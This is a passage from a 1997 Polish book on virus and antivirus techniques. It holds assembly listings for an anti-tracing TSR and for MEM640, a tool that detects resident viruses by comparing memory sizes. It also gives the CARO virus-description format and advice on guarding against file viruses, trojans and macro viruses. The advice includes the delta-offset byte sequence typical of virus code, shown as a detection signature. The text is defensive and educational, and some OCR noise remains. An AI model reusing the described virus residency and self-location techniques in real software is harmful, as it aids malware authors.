     mov   ax,2521h                       ; funkcja DOS - ustaw nowa INT 21
     int   21h                            ; wywolaj funkcje

     lea   dx,NoweInt13h                  ; DS:DX wskazuje na nowa procedure
     mov   ax,2513h                       ; funkcja DOS - ustaw nowa INT 13
     int   21h                            ; wywolaj funkcje

     mov   dx,DlugoscKoduTSR              ; ile kodu zostanie jako TSR
     mov   ah,31h                         ; funkcja DOS - koncz i zostaw TSR
     int   21h                            ; wywolaj funkcje

Deinstal:
     lea   si,TeOdinstalowany             ; \ pokaz info o deinstalacji
     Call  Print                          ; /

     mov   ax, 4C00h                      ; funkcja DOS - koncz program
     int   21h                            ; wywolaj funkcje

Print proc near                           ; procedura wyswietla tekst ASCIIZ
                                          ; spod adresu CS:SI

           push ax                        ; \ zachowaj zmieniane rejestry
           push si                        ; /

GetNextChar:
           lods byte ptr cs:[si]          ; wez kolejny znak
           or al,al                       ; czy znak jest zerem ?
           jz PrintExit                   ; tak=koniec napisu; wyjdz z petli
           Call PrintChar                 ; nie=wyswietl znak w AL
                                          ;
           jmp short GetNextChar          ; i wez nastepny znak

PrintExit:
           pop  si                        ; \ przywroc zmieniane rejestry
           pop  ax                        ; /

           ret                            ; powrot z procedury

Print endp

PrintChar proc near                       ; procedura wyswietla znak w AL

           push ax                        ; zachowaj zmieniany rejestr

           mov  ah,0Eh                    ; funkcja BIOS

background image

           int  10h                       ; wyswietl znak w AL

           pop  ax                        ; przywroc zmieniany rejestr

           ret                            ; powrot z procedury

PrintChar endp

     TeCopyRight db CR,LF,'ANTYTRAC v1.0, Autor : Adam Blaszczyk 1997'
     TeCRLF      db CR,LF,NUL
 TeZainstalowany db CR,LF,' _ ANTYTRAC zainstalowany!',NUL
 TeOdinstalowany db CR,LF,' _ ANTYTRAC odinstalowany!',NUL

ANTYTRAC ENDS                           ; koniec segmentu kodu i danych
END Start                               ; koniec programu, pierwsza instrukcja
                                        ; pod etykieta Start

12.8. Pobieranie wielkości pamięci operacyjnej
Ze względu na to, iż większość wirusów rezydentnych instaluje się w pamięci poprzez 
modyfikację nagłówków pamięci MCB, możliwe jest wykrycie większości takich intruzów 
poprzez obliczenie wielkości dostępnej pamięci na różne sposoby i następnie na 
porównaniu, czy uzyskane wartości zgadzają się ze sobą. Poniższy program pobiera na 
cztery sposoby wielkość pamięci operacyjnej poniżej 640K i następnie rozmiar ten 
wyświetla na ekranie.

;----------------------------------------------------------------------------;
;                                                                            ;
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ;
;                                                                            ;
;                       MEM640 v1.0, Autor : Adam Blaszczyk 1997             ;
;                                                                            ;
;              Programik pobiera i wyswietla rozmiar pamieci ponizej 640kb   ;
;              Wielkosc pamieci jest pobierana kilkoma metodami              ;
;              Przy jego uzyciu mozna wykryc w pamieci obecnosc wirusa       ;
;              rezydetnego (gdy odczytane dlugosci pamieci beda rozne)       ;
;                                                                            ;
;----------------------------------------------------------------------------;

PROG SEGMENT
     ORG  100h
     ASSUME CS:PROG, DS:PROG

     NUL = 00h                           ; \
     LF  = 0Ah                           ;  - stale znakow
     CR  = 0Dh                           ; /

background image

;-----------------------------------------------------------------------------
Start:
       lea   si,TeCopyRight              ; SI=ofset do info o programie
       Call  DrukLn                      ; wyswietl info o programie

       Call  Pokaz_CMOS                  ; ile zapisane w CMOS
       call  Pokaz_ZmiennaBIOS           ; ile w komorce 0000:0413
       call  Pokaz_Int12                 ; ile zwraca INT 12
       Call  Pokaz_MCB                   ; ile z sumy MCB

       mov   ax,4C00h                    ; funkcja DOS - koncz program
       int   21h                         ; wywolaj funkcje

;-----------------------------------------------------------------------------
Pokaz_CMOS:
       push  ax dx si                    ; zachowaj zmieniane rejestry

       lea   si,TeCMOS                   ; \ wyswietl info skad czytany
       Call  Druk                        ; / rozmiar pamieci

       mov   al,16h                      ; \ wez z CMOS starsza czesc
       Call  WezCMOS                     ; / rozmiaru pamieci

       mov   ah,al                       ; i przepisz do AH

       mov   al,15h                      ; \ wez z CMOS starsza czesc
       Call  WezCMOS                     ; / rozmiaru pamieci
                                         ; AX= rozmiar w CMOS w kilobajtach

       mov   dx,1024                     ; \ oblicz ile bajtow
       mul   dx                          ; /

       Call  DrukDec32                   ; wyswietl ile bajtow

       pop   si dx ax                    ; przywroc zmieniane rejestry

       ret                               ; powrot

;-----------------------------------------------------------------------------
WezCMOS:
       out   70h,al                      ; zapisz do portu CMOS,
                                         ; ktora komorke czytac
       jmp   $+2                         ; czekaj

       in    al,71h                      ; czytaj z CMOS

background image

       ret                               ; powrot

;-----------------------------------------------------------------------------
Pokaz_Int12:
       push  ax dx si                    ; zachowaj zmieniane rejestry

       lea   si,TeInt12                  ; \ wyswietl info skad czytany
       Call  Druk                        ; / rozmiar pamieci

       int   12h                         ; przerwanie BIOS - dostepna pamiec
                                         ; AX=rozmiar pamieci w kilobajtach

       mov   dx,1024                     ; \ oblicz ile bajtow
       mul   dx                          ; /

       call  DrukDec32                   ; wyswietl ile bajtow

       pop   dx ax si                    ; przywroc zmieniane rejestry

       ret                               ; powrot

;-----------------------------------------------------------------------------
Pokaz_ZmiennaBIOS:
       push  es ax dx si                 ; zachowaj zmieniane rejestry

       lea   si,TeZmiennaBIOS            ; \ wyswietl info skad czytany
       Call  Druk                        ; / rozmiar pamieci

       xor   ax,ax                       ; czytaj zmienna BIOS 0000:0413
       mov   es,ax                       ; ES=0000
       mov   ax,es:[413h]                ; AX=0000:0413= rozmiar pamieci
                                         ;  w kilobajtach

       mov   dx,1024                     ; \ oblicz ile bajtow
       mul   dx                          ; /

       Call  DrukDec32                   ; wyswietl ile bajtow

       pop   si dx ax es                 ; przywroc zmieniane rejestry

       ret                               ; powrot

;-----------------------------------------------------------------------------
Pokaz_MCB:
       push  es ax bx cx dx              ; zachowaj zmieniane rejestry

       lea   si,TeMCB                    ; \ wyswietl info skad czytany

background image

       Call  Druk                        ; / rozmiar pamieci

       mov   ax,5802h                    ; funkcja DOS - czy UMB dolaczone ?
       int   21h                         ; wywolaj funkcje

       push  ax                          ; zachowaj informacje na pozniej

       mov   ax,5803h                    ; funkcja DOS - dolacz/odlacz bloki UMB
       mov   bx,1                        ; sprobuj dolaczyc bloki UMB
       int   21h                         ; wywolaj funkcje

       mov   ax,5802h                    ; funkcja DOS - czy UMB dolaczone ?
       int   21h                         ; wywolaj funkcje

       xor   cx,cx                       ; CX=0 - UMB nieobecne w systemie

       or    al,al                       ; 01=jezeli UMB sa dolaczone
       jz    UMB_NieDolaczone            ; 00=jezeli UMB nie sa dolaczone

       inc   cx                          ; CX=1 - UMB obecne w systemie

       mov   ax,5803h                    ; funkcja DOS - dolacz/odlacz bloki UMB
       xor   bx,bx                       ; odlacz bloki UMB
       int   21h                         ; wywolaj funkcje

UMB_NieDolaczone:

       mov   ah,52h                      ; funkcja DOS - wez adres listy list LL
       int   21h                         ; wywolaj funkcje

       mov   ax,es:[bx-2]                ; wez adres pierwszego bloku MCB

NastepnyMCB:                             ; kolejne bloki MCB

       cmp   ax,0A000h                   ; czy >640kB ?
       jae   Tylko640                    ; TAK - pomin

       mov   es,ax                       ; ES=MCB
       stc                               ; +1 w dodawaniu ponizej
       adc   ax,word ptr es:[3]          ; dodaj rozmiar bloku MCB+1
                                         ; AX=nastepny blok MCB

       cmp   byte ptr es:[0],'Z'         ; czy to ostatni blok MCB ?
       jne   NastepnyMCB                 ; NIE - dodaj koleny blok
                                         ; TAK - wyswietl sume
Tylko640:
       add   ax,cx                       ; dodaj ewentualny blok MCB

background image

                                         ; opisujacy bloki MCB w pamieci UMB

                                         ; AX=pamiec w paragrafach
       mov   bx,16                       ; \
       mul   bx                          ; / oblicz ile bajtow

       call  DrukDec32                   ; wyswietl ile bajtow

       pop   bx                          ; przywroc info o UMB

       mov   bh,0                        ; BX=BL
       mov   ax,5803h                    ; funkcja DOS - dolacz/odlacz bloki UMB
       int   21h                         ; wywolaj funkcje

       pop   dx cx bx ax es              ; przywroc zmieniane rejestry

       ret                               ; powrot

;-----------------------------------------------------------------------------
DrukDec32:                               ; wyswietl liczbe w DX:AX
       push  ax bx dx si                 ; zachowaj zmieniane rejestry

       mov   si,offset Hex2DecBufor+10   ; ustaw na koniec bufora, bo zapis od konca
       mov   byte ptr [si],0             ; utworz ASCIIZ dodaj zero na koncu

   DzielPrzez10:
       mov   bx,10                       ; dziel DX:AX przez BX
       Call  Dziel32                     ; w BX reszta z dzielenia

       add   bl,'0'                      ; dodaj ASCII "0"

       dec   si                          ; zmniejsz index w tablicy

       mov   byte ptr ds:[si],bl         ; zapisz cyfre

       or    dx,dx                       ; \
       jnz   DzielPrzez10                ;  \
       or    ax,ax                       ;   \
       jnz   DzielPrzez10                ; --- czy liczba jest juz rowna 0
                                         ; NIE - dziel dalej
       call  DrukLn                      ; TAK - wyswietl bufor

       pop   si dx bx ax                 ; przywroc zmieniane rejestry

       ret                               ; powrot

;-----------------------------------------------------------------------------

background image

Dziel32:                                 ; dziel (DX:AX)/BX
       push  bp                          ; zachowaj BP

       push  ax                          ; zachowac mniejsza czesc liczby 32 bitowej

       mov   ax,dx                       ; przenies b. znacz. czesc do mniej. znacz.
       xor   dx,dx                       ; i wyzeruj DX, DX:AX = > 0:DX

       div   bx                          ; podziel (0:DX)/BX

       mov   bp,ax                       ; calosc z dzielenia to wieksza czesc wyniku

       pop   ax                          ; przywroc do AX mniej znaczaca liczbe z poczatku

       div   bx                          ; DX jest reszta z dzielenia b. znacz. czesci przez BX
       mov   bx,dx                       ; w BX reszta z dzielenia

       mov   dx,bp                       ; DX:AX=liczba podzielona przez BX,
                                         ; a w BX reszta z dzielenia
       pop   bp                          ; przywroc zmieniany rejestr

       ret                               ; powrot

;-----------------------------------------------------------------------------
DrukLn:
       push  si                          ; zachowaj zmieniany rejestr

       call  Druk                        ; wyswietl tekst z CS:SI

       lea   si,TeCRLF                   ; \ i przejdz do nastepnej linii
       Call  Druk                        ; /

       pop   si                          ; przywroc zmieniany rejestr

       ret                               ; powrot

;-----------------------------------------------------------------------------
Druk:
       push  ax si                       ; zachowaj zmieniane rejestry

DrukPetla:
       lods  byte ptr cs:[si]            ; wez kolejny znak tekstu
       or    al,al                       ; czy NUL ?

       jz    DrukPowrot                  ; TAK - koniec tekstu

background image

       mov   ah,0Eh                      ; funkcja BIOS - wyswietl znak
       int   10h                         ; wywolaj funkcje

       jmp   short DrukPetla             ; pobierz kolejny znak tekstu

DrukPowrot:
       pop  si ax                        ; przywroc zmieniane rejestry

       ret                               ; powrot

  TeCopyRight db CR,LF,'MEM640 v1.0, Autor : Adam Blaszczyk 1997'
              db CR,LF
              db CR,LF,'Wielkosc pamieci w bajtach :',NUL
      TeCMOS  db ' _ CMOS                     : ',NUL
      TeInt12 db ' _ INT 12                   : ',NUL
TeZmiennaBIOS db ' _ Zmienna BIOS 0000:0412   : ',NUL
        TeMCB db ' _ Suma blokow MCB (<640kB) : ',NUL
       TeCRLF db CR,LF,NUL
       Hex2DecBufor     db 11 dup(?)     ; bufor na liczbe dzisietna

PROG ENDS

END Start

ROZDZIAŁ 13

CARO (Computer Antyvirus Research Organization) jest organizacją zrzeszającą 
autorów programów antywirusowych z całego świata. Jednym z zadań, które stawia 
sobie organizacja, jest ujednolicenie nazewnictwa oraz opisu istniejących wirusów. Dla 
własnych potrzeb organizacja stworzyła coś w rodzaju specyfikacji opisu wirusów, 
zwanej CaroBase.
Plik w formacie CARO jest zwykłym plikiem tekstowym i zawiera następujące pola i 
etykiety:
CAROBASE_BANNER: na początku pliku; zawiera informacje o autorze opracowania 
itd. 
CAROBASE_LINGUA: określa język, w którym napisany jest dokument; najczęściej jest 
to angielski (English).
CAROBASE_START: znacznik końca CAROBASE BANNER, zaraz po tym polu 
rozpoczyna się pierwszy rekord opisu (każdy rekord opisuje jednego wirusa).
CAROBASE_END: kończy ostatni rekord opisu.

Możliwe rekordy zawierające opis to:
NAME: nazwa w standardzie CARO.
ALIASES: lista oddzielonych kropką, innych nazw wirusa; w przypadku braku - puste 
pole; nazwa może zawierać znaki przestankowe; cudzysłów () oznacza propozycję 
nazwy.

background image

NAME.HISTORY: oddzielone przecinkami poprzednie nazwy w konwencji CARO (jeżeli 
istniały).
LAST_NAME_CHANGE: data ostatniej zmiany nazwy wirusa.
TARGETS: określa obiekty atakowane przez wirusa; możliwe obiekty to:
COM - pliki COM, rozpoznawane po pierwszych 2 bajtach programu.
EXE - pliki EXE, rozpoznawane po pierwszych 2 bajtach programu (równe MZ lub ZM).
.COM - pliki COM, rozpoznawane po rozszerzeniu pliku. .EXE - pliki EXE, 
rozpoznawane po rozszerzeniu pliku. ZM - w przypadku, gdy wirus sprawdza pierwsze 2 
bajty programu (znacznik MZ lub ZM). SYS - zaraża sterowniki w plikach SYS. OVR - 
zaraża pliki nakładkowe.
NE_W - potrafi infekować pliki new executable dla Windows. NE_OS2 - potrafi 
infekować pliki new executable dla OS/2. NewEXE - potrafi infekować pliki new 
executable, ale bez sprawdzania systemu, dla którego plik Jest przeznaczony. DIR - 
zaraża przy użyciu JAP.
MBR - infekuje Główny Rekord Ładujący twardego dysku. FBR - zaraża BOOT-sektory 
dyskietek. HER - zaraża BOOT-sektory twardych dysków. BAT - zaraża pliki wsadowe 
BAT. OBJ - zaraża pliki OBJ. LIB - zaraża pliki LIB.
COMP - wirus jest typu towarzyszącego (w nawiasie może być określone rozszerzenie 
plików wykorzystywanych przez wirusa, np. EXE/COM). 
OTHER - wirus infekuje inny obiekt, nie opisany powyżej.
RESIDENT: określa, czy wirus zostawia po uruchomieniu jakiś ślad w pamięci;
możliwe wartości to:
NONE - to nie jest wirus rezydentny.
PAYLOAD - wirus nie jest rezydentny, ale instaluje rezydentny kod, np. bombę.
IVT - wirus rezyduje w tablicy przerwań. 
FIRSTMCB - wirus rezyduje w MCB należącym do DOS-a. 
BUFFER - wirus rezyduje w obszarze buforów DOS. 
LOW - wirus rezyduje jak zwykły TSR. 
TWIXT (przestarzałe) - wirus rezyduje za ostatnim blokiem pamięci.
TwixtAny - wirus zmniejsza rozmiar aktualnego MCB. 
TwixtZ - wirus zmniejsza rozmiar aktualnego MCB, jeżeli jest to ostatni blok w łańcuchu 
(tzn. MCB ma znacznik Z). 
NewMCB - wirus zmniejsza rozmiar aktualnego MCB i tworzy w tak powstałym bloku 
nowy MCB z przepisaniem znacznika z aktualnego bloku.
NewEndMCB - zmniejsza aktualny blok MCB i tworzy w tak powstałym miejscu nowy 
MCB ze znacznikiem Z; w aktualnym MCB zmienia znacznik bloku na M.
UPPER - wirus próbuje zaalokować pamięć powyżej 640kB (UMB).
HIGH - wirus próbuje zaalokować pamięć w obszarze od IMb do (l Mb + 64 Kb - 16).
TOP - wirus rezyduje w bloku pamięci powstałym na skutek zmniejszenia pamięci 
widzianej przez BIOS (zmienna 0040:0013). 
UNMARKED - wirus rezyduje na końcu dostępnej pamięci, jednak miejsca tego w żaden 
sposób nie chroni. 
VIDEO - wirus rezyduje w pamięci ekranu. 
EXT - wirus rezyduje w pamięci XMS. 
EXP - wirus rezyduje w pamięci EMS. 
AT addr - wirus rezyduje w pamięci pod wyspecyfikowanym adresem [addr] i miejsca 
tego w żaden sposób nie chroni przed zapisem, np. w obszarze zmiennych DOS. 

background image

OTHER - wirus instaluje się w pamięci przy pomocy innej, me opisanej powyżej techniki.
Below - wirus manipuluje blokami MCB i lokuje się w pamięci przed aktualnym blokiem 
MCB.
MEMORY_SIZE: określa ilość pamięci zajmowanej przez wirusa w pamięci w bajtach, 
kilobajtach (na końcu litera K) lub w paragrafach (litera P na końcu).
STORAGE_SIZE: rozmiar wirusa na dysku w bajtach, kilobajtach (na końcu litera K), 
jednostkach JAP (na końcu litera C) lub sektorach (litera S na końcu);
w przypadku wyrównywania długości pliku do jakiejś wielokrotności należy to uwzględnić 
w długości wirusa.
WHERE: opisuje sposób działania wirusa (może być to lista oddzielona kropkami).

Dla plików są możliwe:
OVERWRITES - wirus nadpisuje i w efekcie niszczy plik. 
PREPENDING - wirus umieszcza swój kod w pliku przed oryginalnym kodem programu 
(przesuwa oryginalny kod do przodu). 
MOVE - wirus zachowuje nadpisywany przez siebie początek pliku na jego końcu.
APPENDING (przestarzałe) - wirus dopisuje się na końcu pliku. 
EOIMAGE - dopisuje się za obrazem pliku EXE (długość obrazu obliczana jest na 
podstawie nagłówka). 
EOFILE - wirus dopisuje się na końcu pliku. 
HEADER - wirus instaluje się w nagłówku pliku EXE. 
SPLIT - wirus umieszcza siew pliku pomiędzy nagłówkiem pliku EXE a resztą pliku.
DATA - wirus nadpisuje obszar pliku zawierający stałe wartości (np. ciąg zer).
RANDOM - plik doczepia się w przypadkowym miejscu pliku. 
SLACK - wirus korzysta z luki powstałej na końcu pliku nie wykorzystującego całej JAP. 
COMPANION - wirus jest typu towarzyszącego. 
OTHER - wirus używa innej techniki, nie opisanej powyżej.

Dla sektorów możliwe są:
AT ttt/hh/ss - na ścieżce ttt, głowicy hh, w sektorze ss. 
AT_LSN nn - w logicznym sektorze nn. 
AT_CN nn - w JAP numer nn.
TRACK nn - na dodatkowej ścieżce nn. 
BAD - w jednostce JAP oznaczonej jako zła.

STEALTH: określa listę przerwań i funkcji wykorzystywanych przez wirusa;
możliwe są dwa kluczowe słowa:
NONE - wirus nie używa techniki stealth.
DRIVER - wirus instaluje się jako sterownik.

POLYMORPHIC: określa, Jak polimorficzny jest wirus, przecinek oddziela słowa 
kluczowe, możliwe są:
NONE - wirus nie używa procedur szyfrujących. 
CONST - wirus używa stałego sposobu szyfrowania, ze stałą procedurą dekodera.
VAR - wirus używa zmiennej procedury szyfrującej, ale stałego dekodera.
WILDCARD - wirus używa zmiennej procedury szyfrującej oraz zmiennego dekodera, 
możliwego do wykrycia przy użyciu sygnatur ze znakami globalnymi.

background image

POLY-nn - wirus używa zmiennej procedury szyfrującej oraz zmiennego dekodera; 
liczba nn określa ilość stałych bajtów (w dowolnym miejscu w dekoderze); 00 - oznacza 
najbardziej zaawansowany polimorfizm. 
ENTRY - wirus ukrywa miejsce wejścia do kodu. 
SWAP - wirus przemieszcza (na zasadzie anagramu) część swojego kodu.
OTHER - wirus używa innego polimorfizmu, nie opisanego powyżej.

ARMOURING: sposoby obrony stosowane przez wirusa; możliwe to:
NONE - wirus nie stosuje żadnych metod.
CODE - wirus stosuje sztuczki antydeasemblerowe.
CRYPT - wirus stosuje kilkustopniowe szyfrowanie.
TRACE - wirus wyłącza przerwania INT l i INT 3.
KBD - wirus wyłącza klawiaturę podczas uruchamiania.
SELFTRACE - wirus używa INT 1 i INT 3 w dekoderze.
INT1 - wirus używa INT 1, INT3 - wirus używa INT 3.
PREFETCH - wirus używa sztuczek antydebuggerowych, wykorzystujących kolejkę 
rozkazowa do wykrycia, czy jego kod nie jest śledzony przy użyciu debuggera. 
OTHER - wirus używa innej techniki, nie opisanej powyżej.

TUNNELLING: określa, czy wirus używa tunelingu.
NONE - wirus nie używa tunelingu. NEXT - wirus potrafi ominąć ostatnio zainstalowany 
program TSR.
HAND21 - wirus potrafi odnaleźć i wykorzystać oryginalny adres wejścia do przerwania 
21h.
DRIVER - wirus używa procedur obsługi sterowników. 
SECTOR - wirus używa INT 13h przy dostępie do dysku. 
HAND13 - wirus potrafi odnaleźć i wykorzystać oryginalny adres wejścia do przerwania 
INT 13h.
BIOS - wirus używa bezpośrednich wywołań procedur ROM" BIOS do obsługi dysków.
HARDWARE - wirus używa dostępu do dysku poprzez porty. 
OTHER -wirus używa innej techniki tunelingu, nie opisanej powyżej.

W przypadku HAND21, HAND13 i BIOS można wyliczyć (w nawiasach) metody 
wyszukiwania oryginalnego adresu; możliwe słowa kluczowe to:
TRACE - wirus używa trybu krokowego do odnalezienia oryginalnego wejścia do 
przerwania. 
2F - wirus używa funkcji (13/2F).
TABLE - wirus używa tablicy z adresami do odnalezienia oryginalnego wejścia do 
przerwania.
SCAN - wirus skanuje pamięć w poszukiwaniu łańcucha bajtów charakterystycznych dla 
danego przerwania. 
OTHER - inna metoda.

INFECTIVITY:
O - to nie jest wirus.
1 - wirus, który dość wolno się rozpowszechnia.
2 - odpowiada szybkości rozmnażania się nierezydentnego wirusa nadpisującego.

background image

3 - odpowiada szybkości rozmnażania się wirusa nierezydentnego zarażającego jeden 
plik po uruchomieniu.
4 - odpowiada szybkości rozmnażania się wirusa rezydentnego zarażającego pliki tylko 
przy uruchomieniu ofiary.
5 - szybki infektor.
6 - odpowada szybkości romnażania się wirusów zarażających MBR.
7 - bardzo szybki infektor.

OBVIOUSNESS:
określa, jak łatwo wirus jest zauważalny przez użytkownika.
EXTREMELY - wirus zawiera groźny ładunek, łatwy do zauważenia.
QUITE - wirus zawiera ładunek dość łatwy do zauważenia. 
SLIGHTLY - wirus zawiera ładunek powodujący efekt trudny do zauważenia.
NONE - wirus nie jest możliwy do zauważenia bez użycia specjalnego programu 
(najczęściej antywirusowego).

COMMONNESS:
rozpowszechnienie w świecie (pod względem ilości zgłoszeń infekcji).
0 - nieznany: najczęściej trywialny, nadpisujący, łatwy do wykrycia.
1 - bardzo słabo znany.
2 - słabo znany (kilka zgłoszeń).
3 - znany (przynajmniej jedno zgłoszenie od znawcy wirusów).
4 - znany na całym świecie.
5 - bardzo znany.
6 - bardzo znany w przeszłości.

COMMONNESS_DATE:
określa, kiedy powyższe pole było modyfikowane; data zapisywana jest w formacie rrrr-
mm-dd.
TRANSIENT_DAMAGE: efekt działania wirusa nie jest niszczący.
T_DAMAGE  TRIGGER: określa, kiedy powyższy efekt zostanie uaktywniony. 
PERMANENT_DAMAGE: określa, jakie zniszczenia może spowodować wirus. 
P_DAMAGE_TRIGGER: określa, kiedy powyższy efekt zostanie uaktywniony. 
SIDE_EFFECTS: znane efekty uboczne powodowane przez wirusa. 
INFECTION_TRIGGER: określa, kiedy wirus infekuje (np. COM, gdy długość pliku ofiary 
> 100 bajtów).
MSG_DISPLAYED: określa łańcuch (podany w cudzysłowie) wyświetlany przez wirusa;
jeżeli zaszyfrowany, należy dodać na końcu słowo "Encrypted".
MSG_NOT_DISPLAYED: określa łańcuch (podany w cudzysłowie) zawarty w wirusie; 
jeżeli zaszyfrowany, należy dodać na końcu słowo "Encrypted".
INTERRUPTS_HOOKED: przedzielona przecinkami lista przerwań i funkcji przejętych 
przez wirusa; liczby podane jako HEX.
SELFREC_IN_MEMORY: określa, w jaki sposób wirus sprawdza, czy jest już 
zainstalowany w pamięci.
SELFREC_ON_DISK: określa, w jaki sposób wirus sprawdza, czy obiekt jest 
zainfekowany. 
LIMITATIONS: określa ograniczenia wirusa (hardware, software). 

background image

COMMENTS: komentarz na temat wirusa. 
ANALYSIS_BY: określa, kto analizował wirusa. 
DOCUMENTATION_BY: opisuje, kto sporządził dokumentację.
ENTRY_DATE: określa datę, kiedy baza danych o wirusie została stworzona; data ma 
format: rrrr-mm-dd.
LAST_MODIFIED: określa datę, kiedy baza danych o wirusie była ostatnio 
modyfikowana; data ma format: rrrr-mm-dd.
SEE_ALSO: określa, do jakich wirusów opisywany wirus jest podobny. 
END: oznacza koniec opisu wirusa.

ROZDZIAŁ 14

Najlepsza metoda ustrzeżenia się przed wirusami polega na sprawdzaniu nieznanych 
plików (programów, dokumentów) możliwie najnowszym programem antywirusowym 
(jeżeli to możliwe, to kilkoma różnymi). Bardzo ważnym elementem działań 
zapobiegawczych jest także regularne tworzenie kopii awaryjnych, zawierających 
najważniejsze pliki, będące zwykle efektami mozolnej pracy. Choć niektórym osobom 
może się to wydać niepotrzebne, prędzej czy później kopie te okażą się niezbędne, i to 
nie tylko ze względu na wirusy. Nie ma bowiem chyba takiego użytkownika, któremu w 
pewnym momencie komputer nie odmówił posłuszeństwa- Pół biedy, gdy usterka jest 
trywialna, gorzej, gdy zostanie uszkodzona najważniejsza chyba, poza procesorem, 
część komputera: dysk twardy, W takiej sytuacji kopia awaryjna jest jedyną deską 
ratunku. Obecność wirusa w systemie to nie straszna tragedia, zwłaszcza, że większość 
wirusów, wbrew powszechnej opinii, nie zawiera procedur destrukcyjnych. W przypadku 
zainfekowania komputera nie należy więc od razu formatować dysku twardego. Co 
więcej, wykonanie tej operacji wcale nie oznacza pozbycia się intruza z systemu. 
Poniżej zamieszczono informacje na temat specyficznych, działających tylko dla 
wybranych obiektów, metod.

14.1. Ochrona przed wirusami plików uruchamialnych
Oprócz sprawdzenia programem antywirusowym pliki uruchamial-ne można dodatkowo 
pobieżnie zanalizować przy użyciu debuggera.
Wprawny użytkownik bowiem często już po kilku, kilkunastu instrukcjach kodu programu 
rozpozna, czy nie zawiera on wirusa i poprzez przerwanie jego działania uniemożliwi 
infekcję systemu. Oczywiście powyższa metoda wydawać się może bardzo amatorska, 
jednak jest skuteczna, jak zresztą większość tego typu sposobów, gdyż pozwala wykryć 
nowe wirusy, których nie rozpoznają jeszcze programy antywirusowa. Na przykład 
wykrycie podanej poniżej sekwencji na początku badanego programu świadczy prawie 
na pewno o tym, że program ten zawiera wirusa. Jej wykonanie umożliwia bowiem 
uzyskanie relatywnego offsetu, pod którym umieszczony jest w pamięci kod wirusa. 
Wyznaczone przemieszczenie jest przez niego stosowane przy dostępie do zawartych w 
nim danych (za pomocą adresowania pośredniego: bazowego lub indeksowego).
; Sekwencja znajduj╣ca siÛ na pocz╣tku wiÛkszo£ci wirus¾w plikowych
CALL TRIK            ; wywo│anie procedury TRIK umie£ci na stosie offset do
                     ; nastÛpuj╣cej po niej instrukcji (POP REJ16) 
TRIK:

background image

POP REJ16            ; zdejmuje ze stosu offset, pod kt¾rym jest umieszczony 
                     ; rozkaz POP REJ16 i umieszcza go w rejestrze 16-bitowym,

         ;  najczÛ£ciej w kt¾rym£ z : SI, DI, BP, BX

SUB REJ16,????       ;  ???? najczÛ£ciej =3, po tej operacji warto£µ REJ16
                     ; bÛdzie ofsetem wskazuj╣cym na pocz╣tek kodu wirusa, 
                     ; warto£µ 3 wynika z d│ugo£ci rozkazu CALL TRIK, czyli
                     ; (OE8h 00h 00h)
Poniżej podano wygląd tej sekwencji dla różnych typów rejestru Rejl6.
Sekwencje dla różnych kombinacji rejestru REJ16
Rejestr 16-bitowy

Sekwencja bajtów

Kod po deasemblacji

AX

E8 00 00
58
2D 03 00

CALL TRIK
TRIK: POP AX
SUB AX,3

CX

E8 00 00
59
83 E9 03

CALL TRIK
TRIK: POP CX
SUB CX,3

BX

E8 00 00
5B
83 EB 03

CALL TRIK
TRIK: POP BX
SUB BX,3

DX

E8 00 00
5A
83 EA 03

CALL TRIK
TRIK: POP DX
SUB DX,3

BP

E8 00 00
5D
83 ED 03

CALL TRIK
TRIK: POP BP
SUB BP,3

SI

E8 00 00
5E
83 EE 03

CALL TRIK
TRIK: POP SI
SUB SI,3

DI

E8 00 00
5F
83 EF 03

CALL TRIK
TRIK: POP DI
SUB DI,3

14.2. Ochrona przed bombami logicznymi i końmi trojańskimi
Ze względu na sposób działania, nieznane szczepionkom antywirusowym konie 
trojańskie i bomby są trudne do wykrycia, gdyż właściwy, destrukcyjny kod może być 
umieszczony w dowolnym miejscu programu, tak więc znalezienie takiej sekwencji nie 
jest zbyt łatwe (a gdy program jest wewnętrznie skompresowany wręcz niemożliwe). Z 
pomocą przychodzi tu omówiona wcześniej heurystyka, technika polegająca na 
wykrywaniu potencjalnych agresorów na podstawie charakterystycznych sekwencji 
kodu. Najczęściej programy poszukujące koni trojańskich w podejrzanych plikach 
szukają instrukcji wywołań przerwań programowych 13h (sekwencja 0CDh, 013h) lub 
26h (sekwencja 0CDh, 026h), używanych do odczytywania i zapisywania sektorów, 
które ze względu na swe działanie występują raczej rzadko w typowym oprogramowaniu 
użytkowym, gdyż normalne programy nie korzystają z bezpośrednich operacji zapisu na 
sektorach, a najniższy poziom, na jakim działają, to operacje na plikach.
Potencjalnymi końmi trojańskimi są najnowsze wersje typowych i często używanych 
programów użytkowych, np. antywirusowych i kompresujących, tak więc należy się z 

background image

nimi obchodzić dość ostrożnie. Dobrym rozwiązaniem, pozwalającym uchronić się przed 
większością koni trojańskich i bomb, może być zainstalowanie monitora 
antywirusowego. Konie trojańskie są zwykle pisane przez początkujących programistów, 
którzy do przeprowadzania destrukcji używają funkcji bibliotecznych języków wysokiego 
poziomu, bądź też przerwań programowych, a te mogą być łatwo przechwytywane i 
kontrolowane przez monitor.

14.3. Ochrona przed makrowirusami
Ze względu na to, iż bez programu antywirusowego trudno jest wykryć wirusy w plikach 
DOC czy XLS, można przedsięwziąć pewne kroki, aby zminimalizować szansę 
zainfekowania systemu:
> wyłączyć wszystkie makra automatyczne przy pomocy własnoręcznie napisanego 
makra (najlepiej nazwać je AutoExec, dzięki czemu zostanie ono zawsze wywoływane 
podczas uruchamiania Worda):
SUB MAIN
DisableAutoMacros 1
END SUB
> aby wyłączyć przy uruchamianiu Worda makro AutoExec należy uruchamiać aplikację 
z parametrem /m (WINWORD.EXE /M);
>  podczas wczytywania plików trzymać wciśnięty klawisz SHIFT, co spowoduje 
zablokowanie automatycznego makra AutoOpen;
> od czasu do czasu przeglądać listę makr zawartych w szablonie NORMAL.DOT; jeżeli 
zawiera ona jakieś makra automatyczne lub makra o dziwnych, niespotykanych 
nazwach, możliwe, iż szablon jest zainfekowany. Makra można przeglądać za pomocą
opcji wybieranych z menu Worda PLIK/SZABLONY/ORGA-NIZATOR/MAKRA, bądź też 
NARZĘDZIA/MAKRO (niektóre makrowirusy potrafią już oszukiwać użytkownika 
chcącego użyć tych funkcji);
> ze względu na to, iż wirus może nie przejmować żadnego makra automatycznego, 
lecz tylko podmieniać polecenia menu (najczęściej menu PLIK/ZACHOWAJ, 
PLIK/ZACHOWAJ JAKO), powyższe środki mogą okazać się całkowicie nieskuteczne. 
Jedynym rozwiązaniem jest wtedy użycie najnowszego programu antywirusowego.

ROZDZIAŁ 15
